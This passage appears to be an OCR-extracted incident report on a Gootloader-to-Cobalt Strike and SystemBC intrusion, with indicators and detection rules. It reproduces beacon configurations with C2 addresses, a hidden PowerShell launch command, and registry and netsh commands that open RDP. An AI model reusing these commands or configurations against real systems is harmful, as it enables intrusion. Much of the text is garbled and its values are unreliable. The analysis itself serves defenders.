fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNxIZw5zReGZ+3t+eRF+fONjpCHDAbpXQ4ZoFJuI7 rCLkvuOE30EGWgJarkEzixc5QoAgikWe1C4YgGIXeSj/IcwlaQIldp9/le5L
Xkf7K7m/qpT/gARSQOYLXUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+fhagHCFo5DLAY4PdDrN7e3DxnQwT7yQ+jBGd63wSxKGgAWmERP L jHNMUFV7ez+fs9qqZFH9qqH
TVuuicj+eM45vwbEfYe7mIKdxeooevvy5STDXE+fefZ40M1jhE8jFOAuxeAz7/2ZmhJUEZH/dXMR1w5n0XD8iTL+zkOKHPP60pAWZvu0@zOMmF c@8AFYRE4Xsw5zPM59RQ
QwHwd55DmH5ZQpghq/Q1tY5X73z0Y71InCQpCsMU8BtwtCiZyCPKKghQm+PJJISImUDXPvcLWUMOW6Cbuaey18QunFdTMKIWNSF@4XaBibMXKxQzgrRaGDPdQ4mnh1hzD7 1]
OmQwikHF jawZnACufCZDxmqFf89/903JuIqUFMUADSWRVQEWCcFNeeSUVmM40Svk5f4D7Guen]0Cc3U16QNoCACTRKwo2]gyqGu549+B97/B+77EfAezSdHIIPNZIqpLKOjn
KgDsJPgExRhthccCT8HnxpHxXPqye3X5ZfPtjeaMVMpApUWj 00EkqF41swgXz1XK6e rwN0zXj9pGLXePs1A/uKFN1V2r7dTXh1E5]jdwxo9u0IsPccMtIQtokXqz7wW+fQ32
wOT83pURLK5T6u4xpW@37j FLawG4DeaBDNjCeq7vRWRIKHXrM1sRy82Wa+0qBa8hTn2D+59TUd LFE@2+tbdTeUvMnOrQe9qFVnoGunShpTIROMZ21/2wIUXF3vZIt1d2r7
sdMrz5xHsnhAmb635b5m29X04fPTE5/jbRNR7mcG3KNKqY4m3YdZGGMOSVenvY5d7ySjchfWe@hz46Sin9y172+cuGSZfqk3tuZT4KbkbGlrUafmLCY7W7L8ynBOM2y7Fm
DUOU7s LrunWezPPXurVIaLXtKEvVYI3aZdHNRWWD1e5ILu@TQb807Nvd72seadysdWXHXqFAOVB/D1wD12rWSjoEHoT1s4cNd12di4TOG6 rQH2akfvIqYHUmWI+ZD7ET2N
WddG4GO7TXQMtWMDYxzYc7JzppmeCM/XCFWrTye30h8410M76c11bDIMIFM5T rUkp IWOK1YG+ySuP8]4qPoa7ahY2xzrHdDba6bdnRik5chrSVck@zDtxtDoq/ rYj3XzZIi
P1H+6jSiwlqruBGn/d1Edo1Tu6PalC9ngMV8MRQmmtXu9PHpJ 13W1s57VdaXdSp INSFYvzxoQaeuVxvgbepZEyHIsHX7bF+cLeH/q2WBvKYnds iU+9kdKdmv5B11ssW2+2
2GC8f2paJR3wNIq2GGv]jOWEX9h9n1ro6lol02Bztu+2WipS9ulhjgkdKo22V3MFC70pGa940 N 1cEue6HM73Mrwvsh0QPRi+3basudEe6X27513bo702Ug4dY1XqWmTetu
xIh/1Ablbjmd+QDKIP5WD01z0QSwroKRMrHs t7vQ02hiPitcFu2VLmhhx@F cMvTUEmHbdIbyw+NeXGTFf2Wt9TYt0QD5Y16czba7ZsSDOp4hmm77XHtqulIHHC InTDNNXT
WYnj5orvfo2wygBVWWt97G8GWokmo3H3cdK0S4cG6ui9tZgcK+0nJ0iYYohp+NVjo32FbObdQ7M8K/vY3ZdIeWDVQEZWAYYRX0IWDes49AaT1ZTHVGLWYx/yWdvM4mS jHT
k7hrjjb/KwrshtnidJp7GH2FbgMeGpcVkIZCDOHciXA3Nog8tFA1e0U31KrEnUbSe421ts7I3xgCqMdgNIANF5gmrMrbCT216 rumKoE91I4FGnS1PbLVTVKBXVZUShTzqd
ePPXT4EP7ggTLSURSiIU4mz569eset5cv]jzDOkvWcH6Y3100YK1Su735+9pY7IwPBfZnbZzm@GTtECi8AIpdLIIWRFuXhmoYYa6Rz3/+H8BHNEQE+mPooK/XjORISPIWSC
©9209vFwRcsxYMK+VPR4X3m6RQUNBR13S5zPgkyxav7eL7nTOH/RXfWOy j cMXWRUEBVERR50+qCLZ+nZZmFB/ zF2tF3iR+gPHuhmRu3no6moYB+j+y/53P/84rZy5rM995

©sDOThA /4 JOEEMELTAVAAA AL

e 2624 = 1

Input

Tr Raw Bytes ¢ LF

A0 m

wowHeAtgH=DPeH~De@ I=DEVHYEA+4+H
wI3wininet - AVI ezl AA2LWE

{Jquery—3.3.2.slim.mln.js'»

ra
L4

Output

{iH*&3&E - ~ »- AQAPRQVH10eH*R HeR=H*R HerPH - - JIM1EH1A~<a| =, AAEGA=A&IRAQH*R *B<H=Bfex='r=ure
> OM1EH1A-AAESA = ABAUAL = L$ ~ EONUBXD*@$T = DfA<iHD @~ I=DA+ = «H=DAXAXYZAXAYAZH1 ARJaXAYZHe
JOH1EH1OM1AM1EAPAPAC : Vy§y0ée « » » ZHe AA » = « M1EAQAQj ~~ AQA2W« * £y0&y [He AH10I - GM1ERh « 2A+RRA2
_Hef2 s v jrhe3u e TodAL o e e w AQUF e « §OH< fiH+ UTCAY! 1ERRAC— e o {00 A o o0 v e HYT o 00 w8365
0 ovteo s wkofe w w) ZGwne « $heke « M\« ¢+LLEBC~SA eby+niidB = Accept:
text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%
iAccept-Language: en-US,en;q=0.5%

Referer: http://code.jquery.com/%

iAccept-Encoding: gzip, deflate%®

User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0;

rv:11.0) like Gecko%

THe "€0B*0631 7R N1 Lg >~ = ©+YU:=y{G~3°@] > P. * G CL - FYUTA~ AZOUEVYOHIES = =@« A, = “A1@ = = A2XuS&YOH SSHegHefiHeUA = T+
UAQ = e o ay0HeA *Atqfe = H=AcAuxXXXHo "+ « v PA&syy$91.215.85.143} :0xR
mec 927 = 7 @© 2ms  Tr Raw Bytes < LF,

and parsed using the 1768.py tool from Didier Stevens that reveals

the Cobalt Strike stager configuration, including the C2 IP (91.215.85[.]143) and the license-
ID (watermark) (206546002), which is a well-known watermark used in multiple attacks
based on our previous published reports.

llcaode.dat

like Gecko'

PRQ
VH1.eH.R"H.R.H.R

The beachhead host using a Cobalt Strike beacon, injected into PowerShell and DLLHost
processes; these served as the main ingress and egress command and control channel to

91.215.85[.]143:443
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CS HTTP Beacon

The threat actor used Cobalt Strike HTTP Beacons for command and control
communication. Three separate hosts were infected with a Cobalt Strike HTTP beacon
communicating to IPv4 91.215.85[.]143:443.

Cobalt Strike HTTP Beacon configuration:
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"beacontype": [
"HTTPS"
] 14
"sleeptime": 22000,
"jitter": 37,
"maxgetsize": 13986556,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill date": null,
"server": {
"hostname": "91.215.85.143",
"port": 443,
"publickey":
"MIGFMAOGCSQGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAIbAAS310uZ1kNogHDAAVIF70InqUiF3kD6mwuXzJzVy

iy

"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
}I
"server": {
"output": [
"print",
"append 1522 characters",
"prepend 84 characters",
"prepend 3931 characters",
"base64url",
"mask"

}
}l
"http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
3

n mn.
tcp_frame_header":
" AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"crypto_scheme": 0O,
"proxy": {
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iy

"type": null,

"username": null,

"password": null,

"behavior": "Use IE settings"

"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {

3

"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"

"process-inject": {

+

"allocator": "NtMapViewOfSection",
"execute": [

"CreateThread 'ntdll!RtlUserThreadStart'",

"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
1
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\\x90\\x90'"
1
"transform-x64": [
"prepend '"\\x90\\x90'"
1

"userwx": false

"dns-beacon": {

iy

"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null

"pipename": null,
"smb_frame_header":
" AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"stage": {

3

"cleanup": true

"ssh": {

"hostname": null,
"port": null,
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"username": null,
"password": null,
"privatekey": null

b
3

Cobalt Strike SMB Beacon

The threat actor also used Cobalt Strike SMB beacons to chain beacons together for lateral
movement. We observed four hosts where Cobalt Strike SMB beacons were used.

Cobalt Strike SMB beacon configuration:
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"beacontype": [
"SMB"
]I
"sleeptime": 10000,
"jitter": o,
"maxgetsize": 10485760,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill date": null,
"server": {
"hostname": "",
"port": 4444,
"publickey":
"MIGFMAOGCSQGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAIDAA8310uZ1kNogHDAAVIF70InqUiF3kD6mwuXzJzVy

iy

"host_header": null,
"useragent_header": "",
"http-get": {
"uri": null,
"verb": null,
"client": {
"headers": [],
"metadata": null
3
"server": {
"output": []
}
3
"http-post": {
"uri": "",
"verb": null,
"client": {
"headers": [],
"id": null,
"output": null
}
3

"tcp_frame_header":
"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"crypto_scheme": 0O,

"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": null

s

"http_post_chunk": null,

"uses_cookies": null,

47/58



"post-ex": {
"spawnto_x86":
"spawnto_x64":

"%windir%\\syswow64\\dllhost.exe",
"%windir%\\sysnative\\dllhost.exe"

iy

"process-inject": {

3

"allocator": "NtMapViewOfSection",
"execute": [

"CreateThread 'ntdll!RtlUserThreadStart'",

"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
]l
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\\Xx90\\x90'"
1
"transform-x64": [
"prepend '\\x90\\x90'"
1

"userwx": false

"dns-beacon": {

+

"pipename":

"dns_idle": null,
"dns_sleep": null,
"maxdns": 0O,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null

"smb_frame_header":

"stage": {
"cleanup": true

3

"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null

}

SystemBC

"\\\\.\\pipe\\mojo.5688.8052.1838949397870888770b",

"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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During the intrusion a PowerShell script named ‘s5.ps1’ was dropped to a users
‘AppData\Roaming’ folder.

Image: C:\Windows'SyswWOwe4\dllhost.exe

TargetFilename: C: .LISE-"E'-'-.*«pptata"-Rclarir; s5.psl I

s5.ps1 turned out to be a PowerShell version of SystemBC as described by Proofpoint. This
PowerShell version has been appearing more frequently over the past few years [1,2,3].

Having a PCAP of the traffic, we could decrypt it and see that inside, it was running SOCKS
v5 traffic.

The first 50 bytes of the first data packet are the encryption key starting with 0x00 and
ending with Ox3a:

B8 15 5d 81 c4 19 88 17 b 98 B8 3d BE ©0 45 98 ] = E

B8 Ec 18 b3 48 28 B2 B6 ¢4 36 Ba T3 37 99 5b 5cC @ B-s57-[\

-1 - I P TN - s | -] E e - T o - Y- IS - - 1T —
ea3a |88 Bl BZ 83 B4 85 BE @87 B8 a3 Jorore snasasan
B848 ) B2 6b 8c Bd Be &F 18 11 12 13 14 15 16 17 18 19  cacsssra asavanan
B858) 12 1b 1c 1d 1e 1f 28 21 23 23 24 25 25 37 2B 29 cavaes I "#ERE" () F
eag8 ) 2a 2b 2c 2d 2= 2f 38 31 58 79 d9 =@ 1E f7 d1 &6 '+,-._."B:|. ESWEREESIE ¥
ea7a 21 6 9b =& 18 32 21 57 &F @7 55 @8 75 =@ 33 BG lavasZlW geXene3:
ea28) 43 b2 9c €5 97 25 87 fa 38 99 cB 72 6b B2 @6 BF  Cacscscs ans rkes.
egza | 14 4b 15 =4 b5 7F a5 54 f1 3a oliococo d «:

>>> 5 = "990102030U05060708090a0bOCOdOe6F101112131415161718191alblcldlelf202122232425262728292a2b2c2d2e2f30315079d9e018f7d16621f69bael@3221576¥07580875e03386U3b29cc597e507faaa90c8726b0ee6081y
4bigeub57fas6uf13a”
>>>

b = binascii.unhexlify(s)

10\x11\x12\x13\x1u\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f ["#$%E\' (D*+, -./01Py\xd9\xe®\x18\xF7\xd1f!\xf6\x9b\xae\x102!Wo\x87

\xe6\x08\x1uK\x18\xet\xb5\x7f\xa5d\xF1: "

Using that key to decrypt the first answer packet shows that this is SOCKS v5 traffic and it
also reveals the domain:

rctd = ARCU.new(key)
c2d = rctd.decrypt(c2b[:4])
c2d
x00\x01\x0c\x00"
rcd = ARCU.new(key)
>>> c2d = rci.decrypt(ec2b[u:])

oV
-
vV

v
Y

=>> c2d

b"\x05\x81\x00\ x03)\ mE-\ r="

X05 -> Version 5

Xx01 -> Command Code 1

X00 -> Reserved

x03 -> Address Type

X05 -> Length of Domain (domain name redacted)
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Approximately four minutes after the script was dropped, SOCKS (SystemBC) was utilized to

tunnel network connections from the external IPv4 91.92.136[.]20:4001 to the domain
controller via a compromised endpoint. The endpoint was configured to execute a
PowerShell script [s5.ps1] that established a SOCKS connection to the attacker-controlled
infrastructure.

The process and C2 activity can be illustrated as:

91.215.85[]143:443 Rttt Cobalt Strike Beacon ZEEEEEE CAWindows\SysWOWE4\dllhost.exe

Executes

91.92.136[.]20:4001 SEEEEEEEEEY SOCKSSE [SystemBC]  glabaiebebs Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
C\Users\<REDACTED=\AppData\Roaming\st.psl

The script had the following indicators for the IPv4 and Port:

Sipaddress = '91.92.136.20°'
Sdport = 4001

The SOCKS tunnel provided the following connectivity from the attacker computer and
allowed RDP [3389] to be traversed externally.

91.92.136(]20:4001 ghatattatatabe el R e — —— — —— —— ———————— ——— —————— Domain Controller [RDP/3389]

C:\Windows\SysWOW6E4\
SOCKS Client [SystemBC]: s5.psl — WindowsPowerShellv1.0\

powershell.exe Attacker Computer Name: DESKTOP-GRALDCS

A side effect of utilizing a proxy (SOCKS tunnel) on the endpoint is unusual port allocations,
for example, PowerShell talking to port 3389. In this case, RDP was used to tunnel to the
Domain Controller via the PowerShell process, which used port 3389.
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Image = Fd DestinationPort = Destinationlp =

C:\Windows\Syswowed\WindowsPowershell\wv1.@\powershell.exe DC 3389
C:\Windows\Syswow64'\wWindowsPowershell\v1.@\powershell.exe 3389
C:\Windows\SysWOWE4\WindowsPowerShell\v1.@\powershell.exe Host 3389
C:\Windows\Syswow64\WindowsPowerShell\wv1.@\powershell.exe = 3389
C:\Windows\SyswOwWs4\WindowsPowerShell\w1.@\powershell.exe 3389
C:\Windows\SyswWOW64\WindowsPowerShell\v1.@\powershell.exe Host 3389
#2
C:\Windows\SyswowWE4\wWindowsPowerShell\v1.@\powershell.exe 3383
C:\Windows\SysWOWE4\WindowsPowersShell\v1.@\powershell.exe 3389

The activity did expose the attacker’s computer name via Windows eventlD 4778, with the
name being ‘DESKTOP-GRALDCS'. The client address referred to the proxy endpoint, an
private IPv4 address.

Event 4778, Microsoft Windows security auditing.

General Details

Additional Information:
Client Mame: DESKTOP-GRALDCS
Client Address:

During the intrusion we also observed a second hosthame appear ‘HOME-PC.’ This was
also found via RDP access related logins.

:sion was reconnected to a Window Station.

Subject:
Account Name: Administrator
Account Domain:
Logon ID:

;5ion Mame: RDP-Tcp#9
Additional Information:
Client Name: HOME-PC

Client Address: 18,

This event is generated when a user connects to an existing Terminal Services sessio

n, or when a user switches to an existing desk sing Fast User Switching.

Based on the SRUM (System Resource Utility Monitor), with the SOCKS tunnel utilized, the
attacker was most active from 0600 UTC to 1100 UTC on the second day of the intrusion.
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SRUM ENTRY CREATI ~ Application

6:00:00 \device\harddiskvolume5\windows\syswow62\windowspowershell\v1.0\powershell.exe
7:00:00 \device\harddiskvolume5\windows\syswow62\windowspowershell\v1.0\powershell.exe
8:02:00 \device\harddiskvolume5\windows\syswow6t4\windowspowershell\v1.0\powershell.exe
9:02:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe
0:04:00 \device\harddiskvolume5\windows\syswowé4\windowspowershell\v1.0\powershell.exe
1:04:00 \device\harddiskvolume5\windows\syswowé4\windowspowershell\v1i.0\powershell.exe
2:06:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1l.0\powershell.exe
3:06:00 \device\harddiskvolumeS\windows\syswowb4\windowspowershell\v1.0\powershell.exe
4:08:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\vl.0\powershell.exe
:08:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\vl.0\powershell.exe
6:10:00 \device\harddiskvolumeS\windows\syswowb4\windowspowershell\vl.0\powershell.exe
7:10:00 \device\harddiskvolumeS\windows\syswowbd\windowspowershell\v1.0\powershell.exe
8:10:00 \device\harddiskvolumeS\windows\syswow6tf\windowspowershell\v1.0\powershell.exe
9:12:00 \device\harddiskvolume5\windows\syswow6t4\windowspowershell\v1.0\powershell.exe
0:12:00 \device\harddiskvolume5\windows\syswowb4\windowspowershell\v1.0\powershell.exe
1:14:00 \device\harddiskvolumeS\windows\syswow6f\windowspowershell\v1.0\powershell.exe

-T Bytes Sent |~ Bytes Received ~

5496380
9470016
896018
126054
131832
29178
7145
6822
6984
6822
7038
6822
6282
3690
3582
3690

5876598
10016759
994210
246727
257920
51810
6840
6564
6728
6564
6782
6564
6063
3372
3264
EEYY)

During the intrusion, it was observed that two different attacker computer names were used,

‘DESKTOP-GRALDCS’ and ‘HOME-PC'.

Timeline
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GootLoader SEO website
WScript.exe" "C:\Users\
<REDACTED>AppData\Local\Temp\Templ Im
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ed employment agreement 24230 js

Cobalt Strike beacon: powershell.exe" /enco NGAWADK...

91.215.85143:443
PipeName: \netsvc\1324

Process injection:
C:\Windows\System32\dilhost.exe

LDAP enumeration enumeration

network sweeps for port 445

SystemBC PowerShell script executed on
one to the compromised workstations

SystemBC CA\U: REDACTED>\AppD psl

91.92.136.20:4001

HKU\ DEFAULT\Software\Microsoft\Windows\
CurrentVersion\Runisocks_powershell

Advanced_IP_Scanner_2.5.3850.exe executed
on domain controller

Threat actor browses file shares from domain
controller opening files related to passwords

Threat actor deploys SystemBC script on backup server

Diamond Model

SEO Poisoning to Domain
Control: The Gootloader
Saga Continues

CreatedTaskProcess | Path:
C:\Windows\system32\wscript EXE |
TaskName: \InfrSiRfucture Technologies

REDACTED>\AppD j

L PoWerSHEIL

2nd stage C:AU

blogl Jlianpraskova Jcz/xmirpc.php

DLL Reg Key Location
HKEY_CURRENT_USER\SOFTWARE\Microsofty
Personalization\cbKStbiQBNFy

EXE Reg Key Location

HKEY_CURRENT_USER\SOFTWARE\Microsoft\
Personalization\geRBAAXTDCKN

[— Repeated on several servers and workstations

I— Remote service

powershell.exe -nop -w hidden -c Pk -Di i g $true

I SMB executable transfer

\\<REDACTED>\ADMIN$\e544944.exe
[~— Cobalt Strike beacon remote service execution: 544944
PipeName:
\mojo.5688.8052.1838949397870888770b
Spawn to Rundll32.exe migrate to Dilhost.exe
LSASS Credential access via Dllhost.exe
[~— Network discovery Powershell -> Ping <REDACTED>
L Cobalt Strike beacon
powershell exe" /enco NgAwA.

Spawn to Dllhost.exe

LSASS Credential access via Dilhost.exe

[~— Lateral Movement [Pass the hash]

Lateral movement fails on domain controllers
— due to AV controls stopping Cobalt Strike
beacons

I— Domain controller remotely configured to allow RDP access

I— RDP Enabled via registry

reg add
"hkim\system\currentcontrolset\control\termi
nal server” /f /v fDenyTSConnections /t
REG_DWORD /d 0

I~— Enable FW to permit services

netsh firewall set service remoteadmin
enable, netsh firewall set service
remotedesktop enable

[ Disabled Restricted Admin (RDP/remote admin) via registry

“hkim\system\currentcontrolseticontrol\sa"
/f /v DisableRestrictedAdmin /t REG_DWORD
/40

— RDP login to domain controller proxied via SystemBC host

Same techniques used on domain controller applied to access backup server

Remote changes to enable RDP and then RDP login

Threat actor returns to domain controller and backup server
Review share documents again

Runs Advanced IP Scanner from backup server
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Adversary
91.215.85.143:443 — Cobalt Strike —
91.92.136.20:4001 — SystemBC — DESKTOP-GRALDC5 ~ HOME-PC

hy
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176.114.0[]120

235194[1157

—}~ Gootloader C2 Endpoints —

hxxps(:}//montages( Jno/xmirpc.php _J
46.250.221(169

wxps(:]//sitmeanssitJcom/xmirpe.php _J Workstation  Domain Controllers ~ Various Servers

— Discovery

Submit your feedback on this report for a chance to win free swag!

Indicators

\- Defense Evasion

- Credential Access {
Pas

(~ Resource Development — SEO Poisonin 9

- Initial Access — Gootloader
PowerShell
wMI

- Execution —— Windows Command Shell
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1//pocketofpreschool[.]com/xmlrpc.php

hxxp[:]//blog[.]lilianpraskoval.]cz/xmlrpc.php

hxxps[:

1//sitmeanssit[.]com/xmlrpc.php

hxxp[:]//artmodel[.]com[.Jua/xmlrpc.php

Cobalt Strike
91.215.85[.]143:443

SystemBC C2
91.92.136[.]20:4001

Computed
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https://forms.office.com/r/MwZXkBrUNv

Implied_employment_agreement_70159.zip
fb6ed4f75763fad6d0e7fe85a563b0c24
7e8543f2bcO9bf320510fde5e34e32065339d9d2
873dd1dcdfche9826b274c5880f5be81a878ee93715fbb18a654d9dba6lc5dfc

implied employment agreement 24230.js
deb24dfaf8178fda2d070aba9134a30c
eccob26106703e129fble2ec132c373870c2e7h6
£94048917ac75709452040754bb3d1a0aff919f7c2b4b42c5163c7bdb1fbf346

Frontline Management.js

4f4ee823a8c7e2511f05b3eab633c0d2c
877515fecc14ed193167e8a20c6h9a684a74564d
ecc7f13c3f0f8d4775e05715810b0164c52b7bhd233e4a2e4f5a37769bech0092

stagel (geRBAJXTDCKN)

md5sum payloadl.dll_: 25b38e45df3cd215386077850c59be07

shalsum payloadl.dll_: a88a28c73aa42956c9f9d12585a8de63d4a00e47
sha256sum payloadl.dll_:
68dd1a2da732d56b061818581502fcf209b1c828c97d05f239¢c98d55bb78b562

stage2 (cbkSBtbjQBNFy)

md5sum payload2.exe_: 1b8b4f05058ac39091b99cc153ab00OcO

shalsum payload2.exe_: e@b568a3e35257cd30b0c42727¢c3529cef13b081
sha256sum payload2.exe_:
831955bd05186381a8115539a411f48166873eah3feb55fh1104202e4152bd507

e544944 .exe - CS beacon

md5sum e544944.exe: f769cb73317421c290832777c9e14f92

shalsum e544944.exe: f043898fc9db6985c4ad8bh84669c081cdaa8e6f €544944.exe
sha256sum e544944.exe:
40c40495434bf987b04f0742c3e€9201189675d87a042aa72abbd0084c3de66d8

imphash: 49145e436aa571021bb1c7b727f8b049

5d78365.exe - CS beacon

md5sum 5d78365.exe: 9f9c7b2c8f245e62a08bf5f8a3eh3498

shalsum 5d78365.exe: 3cf851eb09c934cafe9h98d4706f903dff804b0OC
sha256sum 5d78365.exe:
aad75498679aada9ee2179a8824291e3b4781d5683c2fa5b3ec92267ced4ada3l
imphash: 49145e436aa571021bb1c7b727f8b049

dae50de.exe - CS beacon

md5sum dae50de.exe: a617e6687ab5d747c530b930bbh4a3209

shalsum dae50de.exe: d53e550b54c08606€19965a9f74bbaa7063e10f1
sha256sum dae50de.exe:
be3222219f029b47120390b2blad46ae86287e64a1f7228d6b2ffd89345a889¢
imphash: 49145e436aa571021bb1c7b727f8b049

a4a2ead.exe - CS beacon

md5sum ad4a2ead.exe: e9fc0203dldeal5dff56a285d0f86b62

shalsum a4a2ea4.exe: 72076af2ce8df6f8b1121c38f3c3db043c540369
sha256sum ad4a2ea4d.exe:
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792a95234b01c256019b16a242b9487b99e98ed8a955eaecfle44b0141aa12f4
imphash: 49145e436aa571021bb1c7b727f8b049

Detections

Network

ET
ET
ET
ET
ET
ET
ET
ET

POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement
RPC DCERPC SVCCTL - Remote Service Control Manager Access

SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

POLICY PE EXE or DLL Windows file download HTTP

POLICY SMB2 NT Create AndX Request For an Executable File

POLICY SMB Executable File Transfer

MALWARE SystemBC Powershell bot registration

POLICY Powershell Command With Hidden Window Argument Over SMB - Likely Lateral

Movement

ET
ET

HUNTING Possible Powershell .psl Script Use Over SMB
POLICY SMB2 NT Create AndX Request For a Powershell .psl File

ET POLICY Possible Powershell .psl Script Use Over SMB

ET POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement
ET POLICY Powershell Command With No Profile Argument Over SMB - Likely Lateral
Movement

Sigma

Search rules on detection.fyi or sigmasearchengine.com

DFIR Public Rules Repo:

92f0538f-ad13-4776-9366-b7351d51c4b8 : Disable Windows Defender via Service
81cfbbae-5e93-4934-84a2-e6a26f85c7bb : JavaScript Execution Using MSDOS 8.3 File
Notation

DFIR Private Rules:

8537a157-5c6c-4173-9e65-943ff82clefb : New Remote Access Configuration via netsh.exe
b17dc721-6e2d-4f2c-aaf5-4cbdcdfed6f5 : Remote Password File Access via Notepad or
Wordpad

Sigma Repo:
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https://detection.fyi/
https://sigmasearchengine.com/
https://github.com/The-DFIR-Report/Sigma-Rules
https://github.com/SigmaHQ/sigma

d7a95147-145f-4678-b85d-d1ff4a3bb3f6
3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b
887T680b8-070e-402c-aell1-d2914f2257f1
lec65a57-9473-4f12-97da-622044d6df21
echc5el16-58e0-4521-9c60-eb9a7ead4ad34
Installation - Security
5ef9853e-4d0e-4a70-846f-a9cal37d876da
LSASS
962fel67-e48d-4fd6-9974-11e5b9a5d6d1
a2863fbc-d5ch-48d5-83fbh-d976d4b1743b
déce7ebd-260b-4323-9768-a9631c8d4db2
ed74fe75-7594-4b4b-ae38-e38e3fd2eb23
Tools
01aeb693-138d-49d2-9403-c4f52d7d3d62

Yara

CobaltStrike Service Installations - Security
Use NTFS Short Name in Image

PowerShell Base64 Encoded IEX Cmdlet
Powershell Defender Disable Scan Feature
Meterpreter or Cobalt Strike Getsystem Service

Potential Credential Dumping Activity Via
LSASS Access From Non System Account

RDP Sensitive Settings Changed to Zero
RestrictedAdminMode Registry Value Tampering

Outbound RDP Connections Over Non-Standard

RDP Connection Allowed Via Netsh.EXE

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19530/19530.yar

MITRE ATT&CK
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Tools

19530 - SEO Poisoning to Domain Control: The Gootloader Saga Continues

Techniques

Resource Development

SEO Poisoning - T1608.006

Initial Access Gootloader

Drive by Compromise - T1189

PowerShell
Execution Wscript
Cobalt Strike

PowerShell - T1059.001

Windows Command Shell - TI059.003
Scheduled Task - T1053.005

Service Execution - T1569.002

Malicious File - T1204.002

Windows Management Instrumentation - TI047

Persistence SystemBC

Scheduled Tas/Job: Scheduled Task - T1053.005

Privilege Escalation Cobalt Strike

Process Injection: Portable Executable Injection - TI055.002

PowerShell

Defense Evasion schtasks

Disable or Modify Tools - T1562.001

Obfuscated Files or Information - T1027
Deobfuscate/Decode Files or Information - T1140
Modify Registry - T1112

Cobalt Strike

Credential Access
notepad.exe

LSASS Memory - TI003.001
Credentials In Files - T1552.001

PowerShell Cmdlets
PowerView
Advanced IP Scanner
Cobalt Strike

Discovery

Domain Account - T1I087.002

Local Account - T1087.001

Domain Groups - T1069.002

File and Directory Discovery - TI083
Network Share Discovery - T1135
System Information Discovery - T1082

Remote Desktop Protocol

Lateral Movement WMI

Remote Services: Remote Desktop Protocol - T1021.001
SMB/Windows Admin Shares - T1021.002
Remote Services: Windows Remote Management - T1021.006

Notepad.exe

Collection Wordpad.exe

Data from Network Shared Drive - TI039

Cobalt Strike

Command and Control SystemBC

Web Protocols - TI071.001
Internal Proxy - T1090.001

Internal case #19530
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